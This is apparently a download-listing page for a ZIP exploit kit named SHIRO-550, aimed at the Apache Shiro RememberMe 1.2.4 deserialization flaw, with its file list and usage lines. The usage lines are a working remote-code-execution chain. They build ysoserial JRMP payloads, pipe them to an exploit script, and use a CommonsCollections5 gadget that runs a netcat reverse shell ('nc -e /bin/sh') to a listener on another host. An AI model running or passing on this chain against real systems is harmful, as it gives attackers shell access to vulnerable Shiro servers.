【文件属性】:
文件名称:SHIRO-550:Shiro RememberMe 1.2.4反序列化突破
文件大小:4.1MB
文件格式:ZIP
更新时间:2021-03-10 11:06:06
Python
Shiro RememberMe 1.2.4反序列化突破(SHIRO-550)
commons-collections-3.2.1.jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989'
nc -nlvp 8989
python用法:
python3 shiro_rce.py
_____ _ _ _____ _____ ____ _____ _____ __
【文件预览】:
SHIRO-550-master
----commons-collections-3.2.1.jar(562KB)
----samples-web-1.2.4.war(2.02MB)
----SHIRO-550.gif(1.05MB)
----shiro_rce.py(3KB)
----commons-collections-3.2.1.jpg(1023KB)
----README.md(3KB)